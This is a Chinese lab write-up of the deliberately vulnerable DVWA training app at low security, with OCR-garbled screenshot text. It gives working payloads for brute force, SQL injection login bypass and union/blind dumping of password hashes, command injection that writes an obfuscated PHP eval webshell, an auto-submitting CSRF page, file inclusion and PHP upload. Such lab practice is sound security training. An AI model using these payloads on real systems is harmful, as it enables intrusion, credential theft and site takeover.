谜团靶机writeup - DVWA-低等级靶场通关指南

原创



谜团靶机 专栏收录该内容

8篇文章3订阅 订阅专栏

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

谜团靶机平台地址: https://mituan.zone/

注册选择靶机

注册登录之后可以看到有很多靶机,选择本次的目标-DVWA。





点击开始练习



点击打开按钮

谜团靶机平台

首页 〉 靶机实例

靶机1

DVWA

Damn Vulnerable Web Application (DVWA)

首次打开时先点击 login 或直接访问/setup.php。页面跳转后 点击"create/reset database" 重置数据库。再点击 login 返回登陆界面,或直接访问/login.php。

登陆默认用户名: (任选其一)

用户名 admin pablo gordonb 1337 smithy 密码 password letmein abc123 charley password

官方链接: http://www.dvwa.co.uk/

有什么问题可以反馈给我们 🥑

控制面板



在新打开的页面中输入admin password登录,进行靶场初始化。

Setup DVWA	Database Setup
nstructions	Click on the 'Create / Reset Database' button below to create or reset your database. If you get an error make sure you have the correct user credentials in: /var/www/html/config/config.inc.php
ıt	If the database already exists, it will be cleared and the data will be reset . You can also use this to reset the administrator credentials (" admin // password ") at any stage.
	Setup Check
	Operating system: *nix Backend database: MySQL PHP version: 7.0.30-0+deb9u1
	Web Server SERVER_NAME: b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone
	PHP function display_errors: Disabled PHP function safe_mode: Disabled PHP function allow_url_include: Enabled PHP function allow_url_fopen: Enabled PHP function magic_quotes_gpc: Disabled PHP module gd: Installed PHP module mysql: Installed PHP module pdo_mysql: Installed
	MySQL username: app MySQL password: ****** MySQL database: dvwa MySQL host: 127.0.0.1
	reCAPTCHA key: Missing
	[User: www-data] Writable folder /var/www/html/hackable/uploads/: Yes [User: www-data] Writable file /var/www/html/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt: Yes
	[User: www-data] Writable folder /var/www/html/config: Yes Status in red , indicate there will be an issue when trying to complete some modules.
	If you see disabled on either allow_url_fopen or allow_url_include, set the following in your php.ini file and restart Apache.
	allow_url_fopen = On allow_url_include = On
	These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.
	Create / Reset Database

初始化完成之后,重新登录,开始靶场练习。。。

Brute Force

输入admin、admin之后抓包,发送到爆破模块,添加字典然后进行暴力破解,成功得到密码password。

1.	
Home	Vulnerability: Brute Force
Instructions Setup / Reset DB	Login
Brute Force Command Injection	admin Password:

	CSRF			7						
- î	File Inclusion		Login							
			L							
		C114	More I	nformation	1					
1	Insecure CAPIC	СНА	• <u>http</u>	s://www.owasp.c	org/index.php/T	esting_for_Bru	ite_Force_(OW/	SP-AT-004)		
	SQL Injection		• <u>http</u>	://www.symanteo	c.com/connect/ ken.co.nz/Secu	articles/passwo rity/bow-to-bru	ord-crackers-en	suring-secu	<u>rity-your-pas</u> ows.html	ssword
	SQL Injection (I	Blind)	- <u>map</u>	<u></u>	ieniconizi occu		te-reree-intep-rer	III J III J	<u>/////////////////////////////////////</u>	
1	Weak Session I	Ds								
2	XSS (DOM)									
2	XSS (Reflected))								
1	XSS (Stored)									
	CSP Bypass									
Ĵ.	JavaScript									
	our accorpt									
2.		~								
Tar	get Positions	Payloads	Options							
			· · · · · ·							
?)	Payload Pos	sitions								
	Configure the	positions who	ere payloads will b	e inserted into the	e base request.	The attack type	determines the	way in which	payloads are	assigned to p
	details.									
		0.1								
	Attack type:	Sniper								
	GET /vulnera	bilities/brut	e/?username=adi	min&password=	§admin§&Logir	=Loain HTTP/	1.1			
	Host: b20b47	7d25e6e414	6a001ba46fd05	9ea4.app.mituan	zone	Logintin,				
	Upgrade-Inse	ecure-Reque	ests: 1							
	DNT: 1		0 Min dawa NIT 10	0.) 10-6464) 4	n n la) Mala Mit (E 2		like Ceeke) Char		02 61 6-6-1	1527.26
	Accept: text/	html applica	windows NTTU.	0; Win64; X64) A application/xml:c	.ppievvebkit/53 n=0.9 image/w	7.36 (KHTIVIL, T ebp image/app	nke Gecko) Chro a */*:a=0.8 app	ication/sign/	03.61 Satari/ ed-exchange	/53/.36 ev=b3:a=0.9
	Referer: http:	://b20b47d2	25e6e4146a001b	a46fd059ea4.ap	p.mituan.zone/	/vulnerabilities/	brute/	reación, sign	ea exenange	,,v=b0,q=0.0
	Accept-Enco	ding: gzip, d	leflate							
	Accept-Lang	uage: zh-CN	l,zh;q=0.9							
	Connection:	close	25095740830116	sarain507; secur	ity=low					
	Connection									
3.										
Tar	get Positions	Payloads	Options							
\sim	•		LL							
?)	Payload Set	S								
	You can define	e one or more	e payload sets. Th	e number of paylo	ad sets depend	s on the attack	type defined in t	ne Positions t	tab. Various p	payload types
	and each payle	oad type can	be customized in	different ways.						
					0.000					
	Payload set:	1	•	Payload count:	6,000					
	Payload type:	Simple list	-	Request count:	6,000					
_										
?)	Payload Opt	tions [Simp	ole list]							
	This payload to	vpe lets vou	configure a simple	list of strings the	at are used as n	avloads.				
	The payroad t	, po .oto you	2 stangare a simple			.,				
	Paste	a123456789)							
		11223344								
	Load	1qaz2wsx								
		xiazhili			•					
	Remove	password								
	Clear	789456123								
		qwertyuiop		v						
	Add	Enter a new	item							
	7100	LING G HOW	1 M M 1 1 1							

4.									
Target	ositions Payloads Options	🚺 Intrude	er attack 4						
		Attack Sa	ave Columns						
? Requ	? Request Headers		Target Positions	Payloads	Options]			
C These	settings control whether Intrud	er Filter: Sho	Filter: Showing all items						
🗹 U	odate Content-Length header		-						
🗹 S	et Connection: close	Request	Payload	5	Status	Error	Timeout	Length 🔻	Comment
		5	password	2	200			4700	
		0		2	200			4662	
(?) Requ	lest Engine	1	a123456789	2	200			4662	
(*) These	() These settings control the engine used		11223344	2	200			4662	
<u> </u>		3	1qaz2wsx	2	200			4662	
Numb	er of threads:	4	xiazhili	2	200			4662	
Numb	Number of set in a set of the in-		789456123	2	200			4662	
Numb	er of retries on network failure.		фиентуціор	2	200			4662	
Pause	e before retry (milliseconds):	0	qqqqqqq	2	200			4002	
		5	lloveyou	2	.00			4002	
Thrott	le (milliseconds): 💿 Fixed	Request	Response						
	Variable:	st Raw H	eaders Hex HTM	IL Render					
Start	time: Immediat	HTTP/1.1 2 ely Server: ope Date: Wed	200 OK enresty/1.17.8.2 - 06 Jan 2021 08:40	·41 GMT					

https://blog.csdn.net/zycdn

经过查看源码,发现也可以通过注入的方式登录,

- admin' and 1=1 -- qwe or不行
- admin' or '1'='1 and不行
- admin'#

1.	
Home	Vulnerability: Brute Force
Instructions	Login
Setup / Reset DB	Eogin
Brute Force	Username: admin Password:
Command Injection	password
CSRF	
File Inclusion	Login
File Upload	Welcome to the password protected area admin
Insecure CAPTCHA	
SQL Injection	
SQL Injection (Blind)	
Weak Session IDs	Manalafamatian
XSS (DOM)	More Information
XSS (Reflected)	 https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004) http://www.symantec.com/connect/articles/password_crackers_ensuring_security_your_password
XSS (Stored)	<u>http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html</u>
CSP Bypass	

Java Script

nome	
Instructions	Login
Setup / Reset DB	
	Username:
Brute Force	admin' or '1'='
Command Injection	assword.
CSRF	Login
File Inclusion	Login
File Upload	Welcome to th
Insecure CAPTCHA	
SQL Injection	
SQL Injection (Blind)	
Weak Session IDs	Manalufar
XSS (DOM)	
XSS (Reflected)	 <u>https://ww</u> http://www
XSS (Stored)	<u>http://www</u>
CSP Bypass	
JavaScript	

mey i brate i oroc

Username:
admin' or '1'='1
Password:
Login

he password protected area admin' or '1'='1



mation

- ww.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004) w.symantec.com/connect/articles/password-crackers-ensuring-security-your-password
- v.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html

з.

Homo

Home	Vulnerability: Brute Force
Instructions	Login
Setup / Reset DB	
Brute Force	Username: admin'# Password:
Command Injection	
CSRF	Login
File Inclusion	Walasma to the passward protected area admin'ff
File Upload	wercome to the password protected area admin #
Insecure CAPTCHA	
SQL Injection	
SQL Injection (Blind)	
Weak Session IDs	Manalufamuatian
XSS (DOM)	more information
XSS (Reflected)	<u>https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)</u> <u>http://www.sympatec.com/connect/articles/password_crackers_ensuring_security_your_password</u>
XSS (Stored)	 http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html
CSP Bypass	
JavaScript	

Command Injection

输入127.0.0.1 | cat /etc/passwd 或者 | echo '<?php \$a="6576616c28245f52455"."1554553545b385d293b";\$b="a";define("a",PACK("H*",\$\$b));eval(a);?>' > ../../mituan.php ,之后访问地址 http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/mituan.php?8=phpinfo();

1		
lome	vullerability. Command injection	
nstructions	Ping a device	
Setup / Reset DB	i ng u uovioo	

Diule Foice	root:x:0:0:root:/root:/bin/bash
Command Injection	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
CSRF	sys: x: 3: 3: sys: /dev: /usr/sbin/nologin
File Inclusion	sync:x:4:65534:sync:/bin//bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
File Upload	man: x: 6: 12: man: /var/cache/man: /usr/sbin/nologin
Insecure CAPTCHA	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
SQL Injection	news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
SQL Injection (Blind)	proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Weak Session IDs	backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/usr/list:/usr/sbin/nologin
XSS (DOM)	irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
XSS (Reflected)	gnats:x:41:41:6nats_Bug-Keporting_System_(admin):/var/lib/gnats:/usr/sbin/nologin_ nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
XSS (Stored)	_apt:x:100:65534::/nonexistent:/bin/false mysgl:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
CSP Bypass	
JavaScript	

2.

Home Instructions

Setup / Reset DB

Brute Force **Command Injection**

File Inclusion

Insecure CAPTCHA **SQL** Injection SQL Injection (Blind) Weak Session IDs XSS (DOM) XSS (Reflected) XSS (Stored) CSP Bypass JavaScript

File Upload

CSRF

Vulnerability: Command Injection

Ping a device

Enter an IP address: | echo "<?php eval(\$_REQUEST[8]);?>" > Submit

More Information

- http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution
 http://www.ss64.com/bash/
- •
- http://www.ss64.com/nt/
- https://www.owasp.org/index.php/Command_Injection

3.

item	Linux 5f5d5ce3d617 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86_64
ild Date	Jun 14 2018 13:50:25
ver API	Apache 2.0 Handler
tual Directory Support	disabled
nfiguration File (php.ini) Path	/etc/php/7.0/apache2
aded Configuration File	/etc/php/7.0/apache2/php.ini
an this dir for additional .ini files	/etc/php/7.0/apache2/conf.d
ditional .ini files parsed	<pre>/etc/php/7.0/apache2/conf.d/10-mysqlnd.ini, /etc/php/7.0/apache2/conf.d/10-opcache.ini, /etc/php/7.0/apache2/conf.d/10-pdo.ini, /etc/php/7.0/apache2/conf.d/15-xml.ini, /etc/php/7.0/apache2/conf.d/20-calendar.ini, /etc/php/7.0/apache2/conf.d/20-exif.ini, /etc/php/7.0/apache2/conf.d/20-dom.ini, /etc/php/7.0/apache2/conf.d/20-exif.ini, /etc/php/7.0/apache2/conf.d/20-gd.ini, /etc/php/7.0/apache2/conf.d/20-gttext.ini, /etc/php/7.0/apache2/conf.d/20-gd.ini, /etc/php/7.0/apache2/conf.d/20-gttext.ini, /etc/php/7.0/apache2/conf.d/20-gd.ini, /etc/php/7.0/apache2/conf.d/20-gttext.ini, /etc/php/7.0/apache2/conf.d/20-iconv.ini, /etc/php/7.0/apache2/conf.d/20-pdo_mysql.ini, /etc/php/7.0/apache2/conf.d/20-pdo_pgsql.ini, /etc/php/7.0/apache2/conf.d/20-pdo_mysql.ini, /etc/php/7.0/apache2/conf.d/20-pdo_pgsql.ini, /etc/php/7.0/apache2/conf.d/20-posix.ini, /etc/php/7.0/apache2/conf.d/20-phar.ini, /etc/php/7.0/apache2/conf.d/20-posix.ini, /etc/php/7.0/apache2/conf.d/20-readline.ini, /etc/php/7.0/apache2/conf.d/20-sockets.ini, /etc/php/7.0/apache2/conf.d/20-sysvmsg.ini, /etc/php/7.0/apache2/conf.d/20-sysvesm.ini, /etc/php/7.0/apache2/conf.d/20-sysvsmsg.ini, /etc/php/7.0/apache2/conf.d/20-sysvesm.ini, /etc/php/7.0/apache2/conf.d/20-sysvsm.ini, /etc/php/7.0/apache2/conf.d/20-sysvesm.ini, /etc/php/7.0/apache2/conf.d/20-sysvsm.ini, /etc/php/7.0/apache2/conf.d/20-sysvesm.ini, /etc/php/7.0/apache2/conf.d/20-sysvsm.ini, /etc/php/7.0/apache2/conf.d/20-tokenizer.ini, /etc/php/7.0/apache2/conf.d/20-sysvsm.ini, /etc/php/7.0/apache2/conf.d/20-tokenizer.ini, /etc/php/7.0/apache2/conf.d/20-sysvsm.ini, /etc/php/7.0/apache2/conf.d/20-tokenizer.ini,</pre>

	/etc/php//.o/apachez/con.d/zo-xmiwhter.mi, /etc/php//.o/apachez/con.d/zo-xsi.mi
P API	20151012

https://blog.csdn.net/zycdr

CSRF

点击Change之后,用Burp抓包,然后制作CSRF Poc。

```
<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>
    <form id='a' action="http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="admin123" />
      <input type="hidden" name="password&#95;conf" value="admin123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
 </body>
<script>
   function abc(){
        document.getElementById('a').submit();
    }
    setTimeout(abc, 500);
</script>
</html>
```

1.

In a transition of	
Setup / Reset DB	Change your admin password:
Brute Force Command Injection CSRF File Inclusion File Upload Insecure CAPTCHA SQL Injection SQL Injection (Blind) Weak Session IDs XSS (DOM) XSS (Reflected) XSS (Stored) CSP Bypass	New password: admin123 Confirm new password: Change More Information • https://www.owasp.org/index.php/Cross-Site_Request_Forgery. • https://www.cgisecurity.com/csrf-faq.html • https://en.wikipedia.org/wiki/Cross-site_request_forgery.
2. Drop Intercept is on	Action

7000

	Louis -
to Intruder	Ctrl+I
to Repeater	Ctrl+R
to Sequencer	ppieveb ((537.36) (CHTVIL, like Gecko) Chrome/63.0.4103.61 Satari/537.36
to Comparer	p.mituan.zone/vulnerabilities/csrf/
to Decoder	
st in browser	▶ ity=low
date cookie	
d host to scope	
en with browser	
ck Bar++	►
ed coding converter	►
ement tools	Eind references
e request method	Discover content
e body encoding	Schedule task
JRL	Generate CSRF PoC
as curl command	
3. Jash Upgrade-Insecure-Requind DNT: 1 User-Agent: Mozilla/5.0 Chrome/83.0.4103.61 S Accept: Fc ? < + > Ref CSRF HTML: //u t: b: grad T: 1 CSRF PoC - generation Control - control - c	ests: 1 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) afari/537.36 Type a search term 0 matches erated by Burp Suite Professional> (State('', '', '/)
r-Ac ept: erer: ept- ept- ept- ept- kie: inec ?	Substrate Safari/537.36 en" name = "password_new" value = "admin123" /> Safari/537.36 en" name = "password_conf" value = "admin123" /> safari/537.36 en" name = "change" value = "Change" /> nit" value = "Change" value = "Change" /> Type a search term 0 matches Test in browser Copy HTML Close Close

https://blog.csdn.net/zycdn

退出当前账号,然后重新登录,再然后访问刚才制作的Poc页面,发现直接提示密码已经更新。

	Vulnerability: Cross Site Request Forgery (CSRF
t DB	Change your admin password:
	New password:
ijection	Confirm new password:
n	Change

	TOULA	
~	IL.HA	

More Information

- https://www.owasp.org/index.php/Cross-Site_Request_Forgery
 https://blog.csdn.net/zycdn
- http://www.cgisecurity.com/csrf-faq.html

现在可以使用新设置的密码 admin123 重新登录了。

File Inclusion

1.

- http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?
 page=/etc/apache2/apache2.conf (file4.php)
- http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?
 page=file:///etc/apache2.conf
- http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?
 page=http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/phpinfo.php
- http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=hTTp://www.baidu.com

🤰 🔺 不安全 | b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=/etc/passwd

	DVWA	
Home		
Instructions		
Setup / Reset DB		
Brute Force		
Command Injection		
CSRF		
File Inclusion		
File Upload		
Insecure CAPTCHA		
SQL Injection		
SQL Injection (Blind)		
Weak Session IDs		
XSS (DOM)		
XSS (Reflected)		
XSS (Stored)		
CSP Bypass		



n (Blind)

n

on IDs



File Upload

查看源码发现没有任何校验,所以这里直接上传php文件了。

Home	Vulnerability: File Upload	
Instructions Setup / Reset DB	Choose an image to upload:	
Brute Force	选择文件 未选择任何文件	
Command Injection	//hackable/uploads/111.PhP succesfully uploaded!	
File Inclusion File Upload	More Information	
Insecure CAPTCHA SQL Injection	 https://www.owasp.org/index.php/Unrestricted_File_Upload https://blogs.securiteam.com/index.php/archives/1268 https://www.ecuretix.com/web/itssecurity/upload_forms_threat/ 	
SQL Injection (Blind) Weak Session IDs		

访问刚上传的文件,发现无法解析。

<?php phpinfo();?>

G

https://blog.csdn.net/zycdn

NO,不要忘了前面还有文件包含呢。

http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?

page=http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/hackable/uploads/111.PhP

7d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/hackable/upl...

User Note Maintainers	Daniel P. Brown, Thiago Henrique Pojda
Other Contributors	Previously active authors, editors and other contributors are listed in the manual.
	PHP Quality Assurance Team
llia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan E Felipe Pena, David Soria Parra, Stanislav Malyshev, Julier	sser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Jani Taskinen, Pierre-Alain Joye, Dmitry Stogov, I Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
	Websites and Infrastructure team
PHP Websites Team	Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers	Damien Seguy, Daniel P. Brown
Network Infrastructure	Daniel P. Brown
Windows Infrastructure	Alex Schoenmaker
	PHP License
This program is free software; you can redistribute it and/or m	odify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
This program is distributed in the hope that it will be useful, bu	It WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
If you did not receive a copy of the PHP license, or have any	questions about PHP licensing, please contact license@php.net.
	DVWA
Home Instructions	
Setup / Reset DB	
Drute Force	
Command Injection	

Insecure CAPTCHA

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

File Inclusion

File Upload

neecure	CAPTCI

SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)

XSS (Stored)

CSP Bypass

JavaScript

Vulnerability: Insecure CAPTCHA

reCAPTCHA API key missing from config file: /var/www/html/config/config.inc.php

Please register for a key from reCAPTCHA: https://www.google.com/recaptcha/admin/create

More Information

- https://en.wikipedia.org/wiki/CAPTCHA
- <u>https://www.google.com/recaptchal</u>
- https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012)

https://blog.csdn.net/zycdr

```
<?php
```

```
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];
    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
       $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );
    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html
                  .= "<br />The CAPTCHA was incorrect. Please try again.";
        $hide form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
       if( $pass_new == $pass_conf ) {
           // Show next stage for the user
           echo "
                <br />You passed the CAPTCHA! Click the button to confirm your changes.<br />
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <innut tvne=\"hidden\" name=\"nassword conf\" value=\"{$nass conf}\" />
```

```
xinbac cibe ( integeri ( induc ( bassilor a cont ( integer ( italas cont ) (
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
               </form>";
        }
        else {
            // Both new passwords do not match.
            $html
                     .= "Both passwords must match.";
           $hide_form = false;
       }
    }
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];
    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
       // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_
escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_esca
pe_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '' . ((is_object($GLOBALS["__
_mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___m
ysqli_res : false)) . '' );
        // Feedback for the end user
        echo "Password Changed.";
    }
    else {
        // Issue with the passwords matching
        echo "Passwords did not match.";
        $hide_form = false;
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
```

当 isset(\$_POST['Change']) && (\$_POST['step'] == '2')的时候,就会更新密码(不要忘记将请求模式修改成 POST)。

Request to http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone:80 [54.222.208.118]
Forward Drop Intercept is on Action
Raw Params Headers Hex
POST /vulnerabilities/captcha/ HTTP/1.1
Host: b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone
Cache-Control: max-age=0
UNT: I Ungrade_Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64) Apple/WebKit/537.36 (KHTML like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html.application/xhtml+xml.application/xml:g=0.9.image/webp.image/app.g*/*:g=0.8.application/signed-exchange/y=b3:g=0.9
Accept-Encoding; gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=cev25n95v4b83oil653r8in5o7; security=low
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
step - 28 password power admin 1228 password confr admin 1228 Change - Change
step=2xpassword_new=admin123xpassword_conf=admin123xchange=Change

此时重新登录,发现密码已经被修改。

SQL Injection

分别查询字段数、回显点、库名、表名、字段名、数据明细。

```
1' order by 2 -- qwe
1.1' union all select 1,2 -- qwe
1.1' union all select 1,database() -- qwe
1.1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
1.1' union all select 1,group_concat(column_name) from information_schema.columns where table_schema=database()
and table_name='users' -- qwe
1.1' union all select 1,group_concat(concat_ws(':',user,password)) from users -- qwe
```

1.

Home	Vulnerability: SQL Injection
Instructions	
Setup / Reset DB	User ID: 1' order by 2 qwe Submit
Brute Force	ID: 1' order by 2 qwe First name: admin
Command Injection	Surname: admin
CSRF	
File Inclusion	More Information
File Upload	http://www.securiteam.com/securityreviews/5DP0N1P76E.html
Insecure CAPTCHA	https://en.wikipedia.org/wiki/SQL_injection http://ferrub.mavitupa.com/sql-injection_cheatsheet-oku/
SQL Injection	<u>http://pentestmontky.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</u>
SQL Injection (Blind)	 http://www.owasp.org/index.php/sqt_injection http://bobby-tables.com/
Weak Session IDs	
XSS (DOM)	
XSS (Reflected)	
XSS (Stored)	

2

lome	Vulnerability: SQL Injection
structions	
etup / Reset DB	User ID: Submit
rute Force	ID: 1.1' union all select 1,2 qwe First name: 1
ommand Injection	Surname: 2
SRF	
e Inclusion	More Information
e Upload	http://www.securiteam.com/securityreviews/5DP0N1P76E.html
ecure CAPTCHA	https://en.wikipedia.org/wiki/SQL_injection http://ferrub.mavituna.com/sql-injection-cheatsbeet-oku/
. Injection	http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Injection (Blind)	 http://www.owasp.org/index.pnp/SQL_injection http://bobby-tables.com/
ak Session IDs	
S (DOM)	
S (Reflected)	
6 (Stored)	
Bypass	
aScript	🗒 * Untitled - N
	ella e Parto Marco

Vulnerability: SQL Injection Home Instructions User ID: 1.1' union all select 1, Submit Setup / Reset DB ID: 1.1' union all select 1, database() -- qwe Brute Force First name: 1 Surname: dvwa **Command Injection** CSRF **More Information** File Inclusion http://www.securiteam.com/securityreviews/5DP0N1P76E.html
 https://en.wikipedia.org/wiki/SQL_injection
 http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
 https://www.owasp.org/index.php/SQL_Injection
 http://bobby-tables.com/ File Upload Insecure CAPTCHA SQL Injection (Blind) Weak Session IDs XSS (DOM) XSS (Reflected) XSS (Stored) 🗾 * Ui **CSP Bypass** File E JavaScript

4.

Home	Vulnerability: SQL Injection
Instructions	
Setup / Reset DB	User ID: Submit
Brute Force	ID: 1.1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema First name: 1
Command Injection	Surname: guestbook, users
CSRF	
File Inclusion	Mara Information

File inclusion

File Upload

1	nse	ecu	ire	CA	۲I	CF	V

SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
lava Scrint

MOLE IIIOIIIIauoII

- http://www.securiteam.com/securityreviews/5DP0N1P76E.html
 https://en.wikipedia.org/wiki/SQL_injection
 http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
 https://www.owasp.org/index.php/SQL_Injection
 http://bobby-tables.com/

5.

Home	Vulnerability: SQL Injection
Instructions	
Setup / Reset DB	User ID: Submit
Brute Force	ID: 1.1' union all select 1,group_concat(column_name) from information_schema.columns where table_sche First name: 1 Surname: user id.first name.last name.user.password.avatar.last login.failed login
Command Injection	
File Inclusion	More Information
File Upload	http://www.securiteam.com/securityreviews/5DP0N1P76F.html

- https://en.wikipedia.org/wiki/SQL_injection https://en.wikipedia.org/wiki/SQL_injection http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.owasp.org/index.php/SQL_Injection
- http://bobby-tables.com/

6.

Insecure CAPTCHA

SQL Injection (Blind)

Weak Session IDs XSS (DOM) XSS (Reflected) XSS (Stored) **CSP Bypass** JavaScript

Home	Vulnerability: SQL Injection
Instructions	
Setup / Reset DB	User ID: Submit
Brute Force	ID: 1.1' union all select 1,group_concat(concat_ws(':',user,password)) from users qwe First name: 1
Command Injection	Surname: admin:a66abb5684c45962d887564f08346e8d,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d
CSRF	
File Inclusion	More Information
File Upload	 http://www.securiteam.com/securityreviews/5DP0N1P76F.html
Insecure CAPTCHA	https://en.wikipedia.org/wiki/SQL_injection https://en.wikipedia.org/wiki/SQL_injection bttps://farrub.mavituna.com/sql.injection.cheatsbeet.cku/
SQL Injection	 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
SQL Injection (Blind)	 https://www.owasp.org/index.pnp/SQL_injection http://bobby-tables.com/
Weak Session IDs	
XSS (DOM)	
XSS (Reflected)	
XSS (Stored)	
CSP Bypass	
JavaScript	
	https://blog.csdn.net/zy

SQL Injection (Blind)

盲注一般先判断长度,然后挨个字母判断。这里就直接查询第二个表的表名了。

1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 -qwe

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit

1,1),1,1))=117 -- qwe (爆破的时候要注意标记的位置)

[chr(i) for i in [117,115,101,114,115]]

Target Positions Payloads Options
Payload Positions
